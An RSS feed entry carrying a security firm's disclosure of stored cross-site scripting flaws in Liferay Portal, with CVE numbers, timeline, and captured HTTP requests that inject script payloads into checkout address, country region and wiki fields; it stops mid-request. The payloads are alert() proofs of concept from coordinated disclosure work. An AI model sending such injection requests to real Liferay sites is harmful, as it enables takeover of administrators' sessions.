<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Einträge über XSS)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/de/categories/xss.xml" rel="self" type="application/rss+xml"></atom:link><language>de</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Thu, 24 Sep 2026 07:35:07 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Persistent cross-site scripting vulnerabilities in Liferay Portal</title><link>https://www.pentagrid.ch/de/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;In 2023 we found multiple vulnerabilities in Liferay Portal, a digital experience platform for enterprise websites. It is a free and open-source software project. A few thousand installations on the Internet not suppressing the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Liferay-Portal&lt;/span&gt;&lt;/code&gt; HTTP response header can be found via special purpose search engines.&lt;/p&gt;
&lt;p&gt;The Liferay Portal in the Community Version is the foundation for the web interface of Liechtenstein's electronic health portal. That's the reason we got involved with the portal software – not as a customer pentest project, but out of interest. We wrote a &lt;a class="reference external" href="https://www.pentagrid.ch/de/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/"&gt;blog post about the Liechtenstein's electronic health portal&lt;/a&gt; (blog post is in German). We reported our findings regarding the Liferay Portal to Liferay in order to get them addressed. Now we are releasing technical details about the vulnerabilities.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;Another vulnerability we mentioned in the health portal is a Denial of Service attack, where a nested Graph QL query is not restricted by the portal and which consumes available resources leading to a Denial of Service. This vulnerability is known to Liferay.&lt;/p&gt;
&lt;p&gt;Just so there are no misunderstandings: We did not try to use these vulnerabilities against Liechtenstein's electronic health portal.&lt;/p&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Cross-Site-Scripting (XSS) allows an attacker to execute JavaScript in the attacked origin, enabling them to act as the exploited user of the website. A &lt;em&gt;stored&lt;/em&gt; XSS is persistently contained in the application itself, waiting for the victim to trigger it.&lt;/p&gt;
&lt;p&gt;While the below Cross-Site Scripting issues are all caused by missing output encoding, their impact varies greatly. The first XSS (CVE-2023-42627) can be triggered by a shop customer, meaning any person on the Internet, and is then only executed when a shop administrator visits the customer's address in the shop's administrative web interface. This is a perfect attack vector for an attacker to control the entire Liferay installation or at least the permissions of the visiting shop administrator. Therefore, we would rate this XSS as a high impact XSS.&lt;/p&gt;
&lt;p&gt;However, the second to fourth XSS (CVE-2023-42627, CVE-2023-42628, CVE-2023-42629) can only be triggered by an administrator (or at least someone having the appropriate role/permission) by changing certain settings of Liferay. While the execution of HTML/JavaScript is not intended behavior and the proper output encoding is missing, the attack vector in this case is less attractive for an attacker, because the attacker can often not fulfil this precondition of having certain administrative permissions. Although Pentagrid is not aware of the entire role concept/permission model of Liferay, it is assumed that in most cases this only allows a user with certain administrator permissions to attack a user with other administrator permissions. As administrators in general control web page content (especially in Liferay where they can even get a groovy shell on the underlying server), we would rate these three XSS issues as informational or low impact. The CVSS version 3.1 scores can only model this attack vector in the "privilege required" attribute and therefore does not fully reflect the elaborated difference.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-07-13: Initial contact of Liferay and report of XSS vulnerability in shipping address field to &lt;a class="reference external" href="mailto:security@liferay.com"&gt;security@liferay.com&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Report of an XSS vulnerability in wiki child pages via E-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Liferay replied that they verified the vulnerability and will notify after a patch is released.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-18: Report of an XSS vulnerability in country region field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-19: Report of an XSS vulnerability in vocabulary descriptions field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-11: Feedback from Liferay that the vocabulary XSS is fixed in version 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-12: Liferay communicated CVE-IDs assigned to vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-13: Liferay reported a status about all fixes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: Public release of advisory after 90 days after the last reported XSS.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42629: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42629"&gt;their advisory on CVE-2023-42629&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42628: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42628"&gt;their advisory on CVE-2023-42628&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42627: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42627"&gt;their advisory on CVE-2023-42627&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.6.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been observed in the Liferay Community Edition Portal version 7.4.3.84.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-billing-and-shipping-addresses-cve-2023-42627"&gt;
&lt;h3&gt;1.  Persistent cross-site scripting vulnerability via billing and shipping addresses  (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L, 8.3 High&lt;/pre&gt;
&lt;p&gt;When submitting an order, an attacker can inject malicious payloads. The following fields are vulnerable for both shipping and billing data: &lt;code class="docutils literal"&gt;address&lt;/code&gt;, &lt;code class="docutils literal"&gt;address2&lt;/code&gt;, &lt;code class="docutils literal"&gt;address3&lt;/code&gt;, &lt;code class="docutils literal"&gt;city&lt;/code&gt; and &lt;code class="docutils literal"&gt;zip&lt;/code&gt;. See the following example which uses the &lt;em&gt;Speedwell&lt;/em&gt; theme.&lt;/p&gt;
&lt;img alt="XSS payloads in the shipping address fields." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_payloads.png"&gt;
&lt;p&gt;The corresponding HTTP request for injection via the shipping address is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2212
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/shipping-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455841126; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697455840993&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=shipping-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fshipping-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22shipping_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22shipping_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22shipping_address%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22shipping_address2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22shipping_address3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22shipping_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22shipping_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_region
        Id=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkboxNames=use-as-billing&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP request for injection via the billing address is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2095
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/billing-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697456017677; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697456016443&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=billing-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fbilling-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22billing_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22billing_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22billing_adress%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22billing_adress2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22billing_adress3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22billing_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22billing_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_li
feray_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;Once the order is submitted, the payloads get executed in the browser of the victim (e.g. the shop owner) when they view the order details. The browser sends a GET request, for example:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/speedwell/~/control_panel/manage?p_p_id=com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_mvcRenderCommandName=%2Fcommerce_order%2Fedit_commerce_order&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId=35980&amp;amp;p_p_auth=LRyvOYIu HTTP/1.1&lt;/pre&gt;
&lt;p&gt;The corresponding response contains:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:37:40 GMT
Connection: close
Content-Length: 99498


&amp;lt;div class="description"&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_adress")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress2")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress3")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("billing_zip")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;
[...]
    &amp;lt;div class="description"&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_address")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address2")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;

            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address3")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("shipping_zip")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;
[...]&lt;/pre&gt;
&lt;img alt="Alert when viewing order details." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_alert.png"&gt;
&lt;p&gt;Additionally, injections into the fields &lt;em&gt;name&lt;/em&gt; and &lt;em&gt;phone&lt;/em&gt; get executed when an attacker has set these as default billing or shipping addresses and the victim examines the account details afterwards. The menu for changing the default addresses is affected by this stored XSS vulnerability as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-country-regions-cve-2023-42627"&gt;
&lt;h3&gt;2. Persistent cross-site scripting vulnerability via country regions (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;An attacker can inject arbitrary JavaScript or HTML code when adding country regions. A HTTP POST request for injecting JavaScript and HTML code is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_javax.portlet.action=%2Fcommerce_country%2Fedit_commerce_region&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/guest/~/control_panel/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------195765885022298159623640673918
Content-Length: 2850
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455335712
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_formDate"

1697455335661
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_cmd"

add
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect"

http://localhost:9090/group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId"

20916
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionId"

0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_name"

&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionCode"

&amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_position"

0.0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_checkboxNames"

active
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------195765885022298159623640673918--&lt;/pre&gt;
&lt;p&gt;These payloads get executed when a victim is examining the regions page. The corresponding HTTP GET request is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The server then returns the injected HTML ands JavaScript code in the reponse:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:24:20 GMT
Connection: close
Content-Length: 117171

[...]
&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;&amp;lt;/a&amp;gt;
[...]
        &amp;lt;td class="table-cell-expand lfr-regioncode-column" colspan="1"&amp;gt;
                &amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
        &amp;lt;/td&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_regions.png"&gt;
&lt;img alt="XSS payloads while editing a country definition." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_regions.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-wiki-child-pages-cve-2023-42628"&gt;
&lt;h3&gt;3. Persistent cross-site scripting vulnerability via wiki child pages (CVE-2023-42628)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding a new child page in a wiki page, an attacker can inject malicious payloads into the &lt;code class="docutils literal"&gt;content&lt;/code&gt; field. This payload gets executed in the browser of the victim when they visit the according parent page, because the payload is placed as text into the child page's container.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /wiki?p_p_id=com_liferay_wiki_web_portlet_WikiPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_javax.portlet.action=%2Fwiki%2Fedit_page&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_mvcRenderCommandName=%2Fwiki%2Fedit_page HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9342881932314680790817840128
Content-Length: 4704
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455074560
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_formDate"

1697455074387
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_cmd"

add
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_redirect"

http://localhost:9090/wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_editTitle"

true
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_nodeId"

35926
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_parentTitle"

FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_workflowAction"

1
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_version"

0.0
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_title"

child page
-----------------------------9342881932314680790817840128
